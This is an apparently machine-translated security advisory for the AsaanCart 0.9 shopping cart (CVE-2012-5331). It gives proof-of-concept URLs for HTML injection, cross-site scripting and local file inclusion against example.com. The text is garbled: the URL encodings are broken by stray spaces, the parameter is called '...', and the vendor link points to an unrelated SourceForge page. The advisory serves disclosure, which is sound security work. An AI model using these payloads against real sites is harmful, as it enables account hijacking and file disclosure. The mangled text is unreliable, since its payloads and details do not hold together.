AsaanCart Multiple Input Verification Vulnerability

Release date: 2012-03-14
Updated on:

Affected Systems:
Sourceforge asaanCart 0.9
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52498
Cve id: CVE-2012-5331

AsaanCart is an online shopping cart solution designed for small businesses.

AsaanCart 0.9 has the directory traversal vulnerability. You can use the page parameter "..." in index. php to allow remote attackers to include arbitrary local files.

<* Source: Number 7
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

For the HTML-injection vulnerabilities:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt (944322) % 3E % 3Cu % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3 Cbig % 3 Cbig % 3 EInjection % 20 Here % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/u % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt (998415) % 3E % 3 CBig % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3Cu % 3 EHtml % 20 Injection % 20HerE. % 3C/u % 3E % 3C/Big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt (970389) % 3E % 3 Cbig % 20 style = % 22 color: % 20rgb (204, % 200, % 200 ); % 22% 3E % 3 Cbig % 3E % 3 Cspanstyle = % 22font-weight: % 20 bold; % 20font-style: % 20 italic; % 20text-decoration: % 20 underline; % 22% 3EHtmlInjection. % 3C/span % 3E % 3C/big % 3E % 3C/big % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt (970389) % 3E % 3 Cbig % 20 style = % 22 color: % 20rgb (204, % 200, % 200 ); % 22% 3E % 3 Cbig % 3E % 3 Cspanstyle = % 22font-weight: % 20 bold; % 20font-style: % 20 italic; % 20text-decoration: % 20 underline; % 22% 3EHtmlInjection. % 3C/span % 3E % 3C/big % 3E % 3C/big % 3E

For the cross-site scripting vulnerability:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php? _ = & Amp; f = update_intro & amp; page = 1% 3 CScRiPt % 20% 3 Eprompt % 28949136% 29% 3C % 2 fScRiPt % 3E

For the local file-include vulnerability:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php? _ = & Amp; f = update_intro & amp; page =.../templates \ add_product

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Sourceforge
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://jocr.sourceforge.net/index.html